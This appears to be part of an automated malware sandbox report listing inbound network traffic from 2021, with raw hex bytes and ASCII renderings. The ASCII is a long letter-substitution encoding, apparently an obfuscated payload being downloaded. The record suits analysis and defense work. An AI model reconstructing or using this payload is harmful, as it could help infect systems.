2021-10-29 15:55:28 UTC	1380	IN	Data Raw: 50 50 57 20 50 50 6c 20 50 6b 6c 20 55 6c 20 57 7a 20 4f 6c 20 73 6b 20 50 7a 6c 20 50 4f 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 73 73 42 20 73 50 55 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 20 42 42 20 50 6b 55 20 50 50 73 20 57 42 20 42 6c 20 50 6b 20 57 4f 20 7a 4f 20 50 73 6b 20 6c 20 50 55 7a 20 50 6b 6b 20 57 6b 20 42 4f 20 6c 42 20 4f 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 7a 55 20 73 6b 73 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 55 6c 20 57 7a 20 6c 6c 20 42 50 20 57 57 20 7a 4f 20 50 50 7a 20 50 50 55 20 50 73 73 20 50 4c 20 42 6b 20 4f 55 20 57 6b 20 57 6b 20 42 6c 20 7a 7a 20 50 50 55 20 50 73 6b 20 50 4c 20 42 6b 20 4f 55 20 57 6b 20 57 6b 20 42 42 20 7a 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 Data Ascii: PPW PPl Pkl Ul Wz Ol sk Pzl PO PPO PPl Pkz zW ssB sPU Wk WO zk Uk BB PkU PPs WB Bl Pk WO zO Psk l PUz Pkk Wk BO lB Ok zO PPO Psl BU PPP Wk Oz WB zU sks PPW PPl Pkl Ul Wz ll BP WW zO PPz PPU Pss PL Bk OU Wk Wk Bl zz PPU Psk PL Bk OU Wk Wk BB zz PPl PkU PPs
2021-10-29 15:55:28 UTC	1384	IN	Data Raw: 6b 20 57 42 20 73 55 20 6b 20 50 6b 42 20 55 4c 20 50 50 42 20 50 4f 55 20 42 6c 20 57 6b 20 4f 7a 20 73 6b 20 57 4f 20 42 42 20 6c 55 20 42 6c 20 7a 4c 20 7a 42 20 57 6b 20 73 50 73 20 50 4f 20 6b 20 50 6b 42 20 7a 7a 20 50 50 6c 20 4f 6c 20 7a 6b 20 50 73 55 20 55 20 73 7a 20 57 4f 20 57 42 20 7a 4f 20 50 6b 6b 20 42 6c 20 55 4f 20 57 6b 20 7a 20 73 6b 20 4c 55 20 50 73 73 20 55 73 20 50 50 6c 20 6c 4c 20 7a 42 20 4c 57 20 4c 6b 20 4c 42 20 57 4f 20 73 50 4f 20 7a 4f 20 42 20 6c 6b 20 50 6b 73 20 57 6b 20 50 50 42 20 4f 57 20 42 55 20 50 73 6c 20 50 6b 6b 20 50 50 6c 20 73 4f 42 20 7a 42 20 42 57 20 73 6c 20 57 73 20 57 4f 20 73 4c 4c 20 7a 6b 20 50 55 20 42 57 20 50 73 73 20 57 6b 20 50 7a 73 20 50 7a 20 4f 4c 20 50 6b 50 20 50 50 42 20 50 50 6c 20 50 Data Ascii: k WB sU k PkB UL PPB POU Bl Wk Oz sk WO BB lU Bl zL zB Wk sPs PO k PkB zz PPl Ol zk PsU U sz WO WB zO Pkk Bl UO Wk z sk LU Pss Us PPl lL zB LW Lk LB WO sPO zO B lk Pks Wk PPB OW BU Psl Pkk PPl sOB zB BW sl Ws WO sLL zk PU BW Pss Wk Pzs Pz OL PkP PPB PPl P
2021-10-29 15:55:28 UTC	1387	IN	Data Raw: 20 50 50 6c 20 50 42 57 20 7a 7a 20 57 6b 20 4f 7a 20 73 6c 20 57 4f 20 55 57 20 50 50 4f 20 73 4f 7a 20 50 6b 55 20 73 4f 50 20 57 50 20 4c 73 20 57 6b 20 73 6b 7a 20 50 6b 73 20 50 50 4f 20 50 50 6c 20 42 7a 20 50 50 73 20 57 6c 20 4f 7a 20 50 7a 55 20 57 4f 20 7a 57 20 50 50 4f 20 50 6b 50 20 50 6b 55 20 4f 20 50 4f 20 4f 7a 20 57 6b 20 50 57 4f 20 7a 4f 20 50 73 50 20 50 50 6c 20 73 57 73 20 50 50 73 20 57 50 20 4f 7a 20 4c 4f 20 57 4f 20 73 6b 55 20 57 50 20 50 50 6c 20 50 6b 55 20 73 73 6b 20 57 6b 20 57 55 20 57 6b 20 50 42 73 20 7a 4f 20 50 50 57 20 50 50 6c 20 50 73 57 20 50 50 73 20 73 57 6b 20 73 20 57 6b 20 57 4f 20 73 4f 7a 20 50 50 4f 20 50 73 6b 20 50 6b 55 20 73 4c 73 20 57 6b 20 4f 55 20 57 6b 20 4c 7a 20 7a 4f 20 50 50 6b 20 50 6b 6c 20 Data Ascii: PPl PBW zz Wk Oz sl WO UW PPO sOz PkU sOP WP Ls Wk skz Pks PPO PPl Bz PPs Wl Oz PzU WO zW PPO PkP PkU O PO Oz Wk PWO zO PsP PPl sWs PPs WP Oz LO WO skU WP PPl PkU ssk Wk WU Wk PBs zO PPW PPl PsW PPs sWk s Wk WO sOz PPO Psk PkU sLs Wk OU Wk Lz zO PPk Pkl
2021-10-29 15:55:28 UTC	1391	IN	Data Raw: 6b 20 50 6b 57 20 57 50 20 50 7a 20 7a 57 20 7a 6c 20 50 50 55 20 50 73 42 20 50 50 4c 20 57 6b 20 4f 7a 20 73 4f 73 20 57 4f 20 7a 4f 20 50 50 4f 20 4f 4f 20 50 6b 7a 20 7a 4f 20 57 50 20 73 50 20 4f 7a 20 4c 6c 20 7a 57 20 50 50 4f 20 50 50 6c 20 73 4f 7a 20 50 50 6c 20 57 6b 20 4f 7a 20 50 6b 6c 20 57 57 20 50 50 73 20 50 50 57 20 7a 6b 20 50 50 50 20 55 55 20 57 50 20 4f 7a 20 57 6b 20 50 6c 20 55 4f 20 50 50 4f 20 50 50 6c 20 57 73 20 50 50 4c 20 73 73 20 4f 55 20 73 4c 20 57 73 20 6c 50 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 50 20 42 4c 20 4f 7a 20 57 6b 20 50 50 50 20 7a 57 20 7a 42 20 50 50 42 20 6c 73 20 50 50 4f 20 4c 4c 20 4f 55 20 57 6b 20 57 4f 20 73 57 50 20 50 73 57 20 50 50 6c 20 50 6b 55 20 4f 50 20 57 50 20 73 6b 20 57 50 20 50 55 20 Data Ascii: k PkW WP Pz zW zl PPU PsB PPL Wk Oz sOs WO zO PPO OO Pkz zO WP sP Oz Ll zW PPO PPl sOz PPl Wk Oz Pkl WW PPs PPW zk PPP UU WP Oz Wk Pl UO PPO PPl Ws PPL ss OU sL Ws lP PPW PPl PkU PP BL Oz Wk PPP zW zB PPB ls PPO LL OU Wk WO sWP PsW PPl PkU OP WP sk WP PU
2021-10-29 15:55:28 UTC	1395	IN	Data Raw: 20 73 4c 50 20 50 73 42 20 50 6c 57 20 4c 4c 20 50 20 57 57 20 73 50 4c 20 55 7a 20 73 50 57 20 50 73 4f 20 42 6c 20 57 50 20 73 57 73 20 42 50 20 50 4f 57 20 42 55 20 42 57 20 50 50 42 20 4c 6b 20 55 6c 20 50 57 7a 20 4c 4c 20 50 20 57 57 20 50 57 55 20 50 73 6b 20 73 57 50 20 50 73 4f 20 42 6c 20 57 50 20 73 4f 73 20 4c 7a 20 50 57 4f 20 42 55 20 42 57 20 50 50 42 20 73 4c 55 20 50 50 42 20 50 7a 73 20 4c 4c 20 50 20 57 57 20 50 55 55 20 50 73 42 20 50 55 42 20 50 73 4f 20 42 6c 20 57 50 20 50 4f 4f 20 4c 57 20 50 73 7a 20 42 55 20 42 57 20 50 50 42 20 50 57 42 20 50 50 4f 20 50 4c 6c 20 4c 4c 20 50 20 57 57 20 73 20 50 50 4f 20 50 7a 50 20 50 73 4f 20 42 6c 20 57 50 20 4f 6c 20 57 7a 20 73 4f 4c 20 42 55 20 42 57 20 50 50 42 20 73 73 6b 20 50 73 4c 20 Data Ascii: sLP PsB PlW LL P WW sPL Uz sPW PsO Bl WP sWs BP POW BU BW PPB Lk Ul PWz LL P WW PWU Psk sWP PsO Bl WP sOs Lz PWO BU BW PPB sLU PPB Pzs LL P WW PUU PsB PUB PsO Bl WP POO LW Psz BU BW PPB PWB PPO PLl LL P WW s PPO PzP PsO Bl WP Ol Wz sOL BU BW PPB ssk PsL
2021-10-29 15:55:28 UTC	1399	IN	Data Raw: 20 7a 4f 20 50 4f 20 6c 7a 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 50 6c 55 20 57 4f 20 50 7a 42 20 42 6c 20 50 50 4c 20 50 73 50 20 4f 7a 20 57 6b 20 73 4f 7a 20 55 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 4c 42 20 50 50 73 20 50 73 4f 20 50 50 4f 20 57 6c 20 4c 4f 20 73 4c 20 50 50 4f 20 4f 57 20 7a 50 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 50 7a 4c 20 7a 4f 20 73 4c 7a 20 4f 55 20 50 73 50 20 50 6b 6b 20 50 50 42 20 4f 7a 20 73 4f 73 20 50 6b 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 6b 20 73 57 4f 20 50 4f 20 4f 57 20 42 4f 20 57 7a 20 50 50 6c 20 7a 7a 20 6c 6c 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 50 55 4f 20 50 50 4f 20 73 4c 50 20 50 50 55 20 7a 4c 20 4c 7a 20 50 73 50 20 57 6b 20 55 6b 20 50 6b 57 20 50 50 4f Data Ascii: zO PO lz PkU PPs Wk Oz PlU WO PzB Bl PPL PsP Oz Wk sOz U WO zO PPO PPl sLB PPs PsO PPO Wl LO sL PPO OW zP PPs Wk Oz Wk PzL zO sLz OU PsP Pkk PPB Oz sOs Pk zO PPO PPl PkU sOB Wk sWO PO OW BO Wz PPl zz ll Wk Oz Wk WO PUO PPO sLP PPU zL Lz PsP Wk Uk PkW PPO
2021-10-29 15:55:28 UTC	1403	IN	Data Raw: 4f 7a 20 50 50 6b 20 4f 55 20 50 7a 57 20 50 6b 73 20 50 4f 42 20 50 6b 55 20 4f 20 50 6b 42 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 73 73 7a 20 50 50 6c 20 50 6c 6b 20 50 73 50 20 73 73 4c 20 4c 42 20 73 50 42 20 57 4f 20 73 4f 7a 20 4f 73 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 42 42 20 57 6b 20 73 4f 4c 20 55 73 20 50 57 55 20 55 6c 20 50 73 7a 20 50 50 73 20 50 55 55 20 50 6b 4f 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 73 73 6c 20 50 6b 55 20 7a 4f 20 50 6c 20 73 73 50 20 4c 7a 20 50 55 7a 20 7a 4f 20 50 6b 4c 20 4f 4f 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 50 42 4f 20 57 4f 20 50 55 6b 20 50 50 42 20 50 57 73 20 50 73 50 20 50 4c 50 20 57 6b 20 6b 20 50 6b 6c 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 57 50 20 50 50 73 20 73 4c Data Ascii: Oz PPk OU PzW Pks POB PkU O PkB Oz Wk WO zO ssz PPl Plk PsP ssL LB sPB WO sOz Os PPl PkU PPs Wk PBB Wk sOL Us PWU Ul Psz PPs PUU PkO Wk WO zO PPO ssl PkU zO Pl ssP Lz PUz zO PkL OO PkU PPs Wk Oz PBO WO PUk PPB PWs PsP PLP Wk k Pkl WO zO PPO PPl sWP PPs sL
2021-10-29 15:55:28 UTC	1408	IN	Data Raw: 20 73 4f 57 20 50 6b 55 20 73 73 57 20 50 7a 20 73 50 42 20 7a 20 73 7a 20 42 42 20 4c 57 20 50 50 42 20 50 6b 55 20 73 4f 7a 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 50 55 4f 20 50 50 4f 20 73 4f 50 20 7a 55 20 42 4f 20 4c 42 20 55 55 20 57 50 20 50 50 6b 20 73 73 6b 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 42 4f 20 4f 7a 20 73 57 73 20 50 6c 20 55 6c 20 50 6b 6b 20 4c 4c 20 50 6b 7a 20 50 42 4f 20 50 7a 42 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 73 73 7a 20 50 50 6c 20 4c 6b 20 7a 4c 20 50 50 20 4c 7a 20 50 6b 4c 20 57 57 20 50 57 73 20 73 4f 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 42 50 20 57 6b 20 6b 20 50 6b 7a 20 6c 42 20 55 55 20 57 42 20 50 50 4c 20 73 42 20 50 7a 6c 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 73 73 7a 20 50 Data Ascii: sOW PkU ssW Pz sPB z sz BB LW PPB PkU sOz Wk Oz Wk WO PUO PPO sOP zU BO LB UU WP PPk ssk PPO PPl PkU PPs PBO Oz sWs Pl Ul Pkk LL Pkz PBO PzB Oz Wk WO zO ssz PPl Lk zL PP Lz PkL WW PWs sOz PPl PkU PPs Wk PBP Wk k Pkz lB UU WB PPL sB Pzl Wk WO zO PPO ssz P
2021-10-29 15:55:28 UTC	1412	IN	Data Raw: 20 73 73 4f 20 4c 42 20 50 7a 6c 20 7a 57 20 50 57 42 20 73 50 73 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 50 7a 6b 20 42 73 20 50 4f 50 20 50 73 42 20 50 6c 4f 20 50 73 4c 20 73 57 4f 20 57 50 20 50 55 7a 20 50 4f 6c 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 4c 57 20 50 73 6b 20 73 50 50 20 42 6b 20 73 50 57 20 4c 73 20 73 50 7a 20 50 50 57 20 50 4c 7a 20 73 6b 4f 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 50 6c 42 20 55 73 20 6c 4c 20 50 73 4c 20 50 57 6c 20 50 6b 73 20 50 7a 55 20 4f 55 20 57 4c 20 50 4f 7a 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 7a 20 50 50 57 20 42 6b 20 73 6b 4f 20 42 42 20 73 57 4c 20 50 50 42 20 50 73 57 20 73 50 6b 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 50 6b 20 50 50 4f 20 57 6b 20 55 7a 20 50 Data Ascii: ssO LB Pzl zW PWB sPs PkU PPs Wk Oz Pzk Bs POP PsB PlO PsL sWO WP PUz POl WO zO PPO PPl sLW Psk sPP Bk sPW Ls sPz PPW PLz skO PPs Wk Oz Wk PlB Us lL PsL PWl Pks PzU OU WL POz zO PPO PPl PkU sOB Wz PPW Bk skO BB sWL PPB PsW sPk Wk Oz Wk WO sPk PPO Wk Uz P
2021-10-29 15:55:28 UTC	1416	IN	Data Raw: 50 4f 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 7a 20 50 6b 50 20 4c 57 20 42 55 20 42 6c 20 73 6b 73 20 50 50 42 20 73 4f 7a 20 73 50 4f 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 50 6b 20 50 73 73 20 50 7a 7a 20 50 73 4f 20 50 4f 20 4c 6c 20 50 4c 6c 20 57 50 20 50 6c 50 20 73 4f 73 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 7a 6b 20 57 42 20 73 73 6c 20 4c 55 20 73 73 6b 20 50 6b 50 20 73 6b 4f 20 50 6b 7a 20 73 50 4f 20 50 4f 7a 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 73 4f 4f 20 50 73 57 20 50 50 57 20 50 50 73 20 6c 42 20 4c 55 20 50 4c 42 20 57 57 20 73 57 6b 20 73 50 73 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 7a 73 20 57 7a 20 50 6c 20 7a 4f 20 73 57 6b 20 55 7a 20 73 50 57 20 50 50 4c 20 50 4c 4c 20 50 Data Ascii: POO zO PPO PPl PkU sOB Wz PkP LW BU Bl sks PPB sOz sPO Wk Oz Wk WO sPk Pss Pzz PsO PO Ll PLl WP PlP sOs PPO PPl PkU PPs Pzk WB ssl LU ssk PkP skO Pkz sPO POz Oz Wk WO zO sOO PsW PPW PPs lB LU PLB WW sWk sPs PPl PkU PPs Wk Pzs Wz Pl zO sWk Uz sPW PPL PLL P
2021-10-29 15:55:28 UTC	1419	IN	Data Raw: 50 50 55 20 50 57 55 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 7a 20 50 50 20 42 6b 20 73 57 57 20 7a 4f 20 50 42 4f 20 50 50 42 20 4c 73 20 73 50 6c 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 50 6b 20 50 73 73 20 57 4f 20 55 55 20 55 42 20 57 6b 20 73 4c 6b 20 57 50 20 55 42 20 73 57 4c 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 7a 6b 20 57 42 20 55 20 57 6c 20 73 4c 50 20 50 6b 50 20 50 42 73 20 50 6b 7a 20 4f 42 20 50 57 57 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 73 4f 4f 20 50 73 57 20 4f 42 20 50 73 6c 20 50 4c 55 20 4c 55 20 73 73 55 20 57 57 20 57 50 20 73 50 55 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 7a 73 20 57 7a 20 50 73 4c 20 42 55 20 50 7a 6c 20 50 50 6c 20 50 7a 50 20 50 50 4c 20 55 4c 20 50 57 4c 20 Data Ascii: PPU PWU zO PPO PPl PkU sOB Wz PP Bk sWW zO PBO PPB Ls sPl Wk Oz Wk WO sPk Pss WO UU UB Wk sLk WP UB sWL PPO PPl PkU PPs Pzk WB U Wl sLP PkP PBs Pkz OB PWW Oz Wk WO zO sOO PsW OB Psl PLU LU ssU WW WP sPU PPl PkU PPs Wk Pzs Wz PsL BU Pzl PPl PzP PPL UL PWL
2021-10-29 15:55:28 UTC	1423	IN	Data Raw: 20 7a 4f 20 50 50 4f 20 50 4f 7a 20 50 6b 7a 20 73 55 20 50 57 20 4f 55 20 57 6b 20 7a 6c 20 7a 42 20 4f 57 20 73 50 42 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 73 50 50 20 42 4c 20 73 57 20 6c 6c 20 7a 55 20 50 6b 55 20 50 6c 20 4f 7a 20 7a 7a 20 50 57 55 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 4f 6b 20 50 50 4c 20 4c 4c 20 4f 20 50 4f 50 20 4f 42 20 57 4c 20 50 50 73 20 73 6b 55 20 50 55 73 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 73 50 57 20 7a 57 20 4c 57 20 42 57 20 4f 6c 20 50 50 73 20 7a 4c 20 57 6b 20 50 57 7a 20 50 57 57 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 73 57 20 4f 73 20 50 4f 42 20 42 20 73 4f 55 20 42 4f 20 50 55 20 50 50 55 20 73 50 4c 20 73 73 50 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 50 6b 20 50 6b 42 20 50 Data Ascii: zO PPO POz Pkz sU PW OU Wk zl zB OW sPB PkU PPs Wk Oz sPP BL sW ll zU PkU Pl Oz zz PWU WO zO PPO PPl POk PPL LL O POP OB WL PPs skU PUs PPs Wk Oz Wk sPW zW LW BW Ol PPs zL Wk PWz PWW zO PPO PPl PkU ssW Os POB B sOU BO PU PPU sPL ssP Wk Oz Wk WO sPk PkB P
2021-10-29 15:55:28 UTC	1427	IN	Data Raw: 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 4f 55 20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 20 50 50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 4f 55 20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 20 50 50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 4f 55 20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 20 50 50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 4f 55 20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 20 50 50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f Data Ascii: Wk Oz WP WO PL UL PPl PkU PPO Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP WO PL UL PPl PkU PPO Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP WO PL UL PPl PkU PPO Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP WO PL UL PPl PkU PPO Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP WO
2021-10-29 15:55:28 UTC	1431	IN	Data Raw: 50 55 20 73 50 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 4f 73 20 7a 6c 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 55 20 7a 57 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 20 6c 50 20 50 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 73 42 20 42 6c 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 6c 20 57 50 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 20 73 6c 20 55 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 50 50 7a 20 6c 6b 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 42 50 20 42 55 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 20 50 42 4f 20 57 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 4f 6b 20 6c 50 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 55 73 20 6c 4c 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 20 50 55 73 20 7a 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 Data Ascii: PU sP WO zO PPW PPl Os zl Wk Oz WP WO PU zW PPl PkU PPL Wk lP P WO zO PPW PPl sB Bl Wk Oz WP WO PLl WP PPl PkU PPL Wk sl U WO zO PPW PPl PPz lk Wk Oz WP WO BP BU PPl PkU PPL Wk PBO W WO zO PPW PPl Ok lP Wk Oz WP WO PUs lL PPl PkU PPL Wk PUs z WO zO PPW PP
2021-10-29 15:55:28 UTC	1435	IN	Data Raw: 4c 20 57 6b 20 73 55 20 50 50 73 20 57 4f 20 7a 4f 20 50 50 73 20 50 50 6c 20 73 6b 6c 20 4f 7a 20 57 6b 20 4f 7a 20 4f 55 20 57 4f 20 73 6b 42 20 57 6b 20 50 50 6c 20 50 6b 55 20 50 50 42 20 57 6b 20 50 50 73 20 73 20 57 4f 20 7a 4f 20 50 50 55 20 50 50 6c 20 6c 6b 20 50 6b 42 20 57 6b 20 4f 7a 20 57 73 20 57 4f 20 50 50 4f 20 50 6b 4f 20 50 50 6c 20 50 6b 55 20 50 50 55 20 57 6b 20 50 4c 6c 20 50 50 4f 20 57 4f 20 7a 4f 20 50 73 73 20 50 50 6c 20 73 73 50 20 4f 7a 20 57 6b 20 4f 7a 20 57 55 20 57 4f 20 50 42 50 20 6c 55 20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 6b 20 50 55 50 20 50 6b 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 42 4f 20 57 6b 20 57 6b 20 4f 7a 20 4f 7a 20 57 4f 20 73 4f 42 20 57 6b 20 50 50 6c 20 50 6b 55 20 50 50 57 20 57 6b 20 50 6c Data Ascii: L Wk sU PPs WO zO PPs PPl skl Oz Wk Oz OU WO skB Wk PPl PkU PPB Wk PPs s WO zO PPU PPl lk PkB Wk Oz Ws WO PPO PkO PPl PkU PPU Wk PLl PPO WO zO Pss PPl ssP Oz Wk Oz WU WO PBP lU PPl PkU Pss Wk PUP Pk WO zO PPW PPl BO Wk Wk Oz Oz WO sOB Wk PPl PkU PPW Wk Pl
2021-10-29 15:55:28 UTC	1440	IN	Data Raw: 73 20 4f 6c 20 50 73 50 20 57 57 20 4c 50 20 7a 6b 20 50 50 55 20 57 4c 20 50 6b 7a 20 50 50 73 20 73 6c 20 57 73 20 50 55 57 20 42 20 73 42 20 50 50 55 20 50 73 20 50 6b 55 20 50 4f 20 42 20 4f 55 20 57 6b 20 73 50 6b 20 7a 4f 20 73 20 42 57 20 73 50 42 20 50 50 73 20 73 73 73 20 4f 7a 20 55 4f 20 55 20 50 50 57 20 50 50 4f 20 50 57 4c 20 50 6b 55 20 50 6c 7a 20 50 50 4f 20 4f 4c 20 57 6b 20 4c 50 20 7a 57 20 50 73 20 42 57 20 50 6b 7a 20 50 50 73 20 50 55 7a 20 4f 7a 20 6c 42 20 73 20 4c 73 20 50 50 4f 20 73 6b 4f 20 50 50 50 20 50 7a 73 20 50 50 57 20 55 4c 20 57 57 20 50 6b 20 7a 4f 20 50 73 20 42 57 20 50 6b 7a 20 50 50 73 20 73 6b 42 20 4f 7a 20 6c 42 20 73 20 7a 57 20 50 50 4f 20 50 50 4c 20 50 6b 7a 20 50 4f 20 42 20 4f 55 20 57 6b 20 57 7a 20 7a Data Ascii: s Ol PsP WW LP zk PPU WL Pkz PPs sl Ws PUW B sB PPU Ps PkU PO B OU Wk sPk zO s BW sPB PPs sss Oz UO U PPW PPO PWL PkU Plz PPO OL Wk LP zW Ps BW Pkz PPs PUz Oz lB s Ls PPO skO PPP Pzs PPW UL WW Pk zO Ps BW Pkz PPs skB Oz lB s zW PPO PPL Pkz PO B OU Wk Wz z
2021-10-29 15:55:28 UTC	1444	IN	Data Raw: 20 50 6b 42 20 73 4f 7a 20 50 73 57 20 50 6c 55 20 57 4c 20 6c 42 20 73 20 7a 57 20 50 50 4f 20 73 4f 4f 20 50 6b 4f 20 50 6c 4c 20 50 42 20 50 6c 73 20 42 4c 20 6c 50 20 7a 50 20 7a 73 20 7a 57 20 73 6b 42 20 50 73 57 20 55 55 20 57 4c 20 73 50 20 50 50 4f 20 73 57 4f 20 50 73 6c 20 4c 42 20 50 50 50 20 50 4f 20 42 20 4c 73 20 57 6b 20 50 6b 4c 20 7a 42 20 4c 6c 20 6c 73 20 50 6c 6b 20 50 73 57 20 50 6b 6c 20 57 6b 20 42 42 20 73 20 50 57 4c 20 50 73 6c 20 73 6b 20 50 50 50 20 73 7a 20 50 4c 20 73 73 6c 20 42 4c 20 6c 50 20 7a 42 20 57 55 20 7a 55 20 6c 57 20 50 73 50 20 57 50 20 57 50 20 57 6b 20 4c 50 20 50 4f 50 20 50 73 6c 20 73 6b 20 50 50 50 20 50 6c 7a 20 50 50 4f 20 4f 4c 20 57 6b 20 50 6b 4c 20 7a 42 20 50 73 20 42 57 20 50 6b 4f 20 50 73 73 20 Data Ascii: PkB sOz PsW PlU WL lB s zW PPO sOO PkO PlL PB Pls BL lP zP zs zW skB PsW UU WL sP PPO sWO Psl LB PPP PO B Ls Wk PkL zB Ll ls Plk PsW Pkl Wk BB s PWL Psl sk PPP sz PL ssl BL lP zB WU zU lW PsP WP WP Wk LP POP Psl sk PPP Plz PPO OL Wk PkL zB Ps BW PkO Pss
2021-10-29 15:55:28 UTC	1448	IN	Data Raw: 20 50 50 6c 20 50 73 6c 20 50 6b 6c 20 50 6c 20 57 42 20 50 4f 57 20 57 4f 20 7a 4c 20 50 6b 55 20 55 73 20 50 6b 50 20 50 55 57 20 57 6b 20 50 55 20 4f 50 20 50 50 6c 20 55 73 20 73 6b 55 20 50 50 6c 20 42 6c 20 50 50 50 20 50 73 4c 20 57 42 20 50 73 55 20 57 4f 20 55 42 20 50 6b 57 20 73 73 20 50 6b 50 20 73 50 50 20 57 6b 20 50 6b 50 20 4f 57 20 55 57 20 55 73 20 50 55 4c 20 50 50 6c 20 7a 4c 20 50 6b 42 20 50 6c 6c 20 57 42 20 50 4f 57 20 57 4f 20 57 42 20 50 6b 55 20 73 57 73 20 50 6b 50 20 50 55 57 20 57 6b 20 50 73 42 20 4f 6b 20 50 4f 55 20 55 73 20 4f 55 20 50 50 6c 20 50 57 57 20 50 73 6c 20 50 57 57 20 57 42 20 50 73 55 20 57 4f 20 50 6b 20 50 6b 4f 20 50 7a 73 20 50 6b 50 20 57 50 20 57 6b 20 50 55 7a 20 42 50 20 73 57 57 20 55 73 20 50 55 4c Data Ascii: PPl Psl Pkl Pl WB POW WO zL PkU Us PkP PUW Wk PU OP PPl Us skU PPl Bl PPP PsL WB PsU WO UB PkW ss PkP sPP Wk PkP OW UW Us PUL PPl zL PkB Pll WB POW WO WB PkU sWs PkP PUW Wk PsB Ok POU Us OU PPl PWW Psl PWW WB PsU WO Pk PkO Pzs PkP WP Wk PUz BP sWW Us PUL
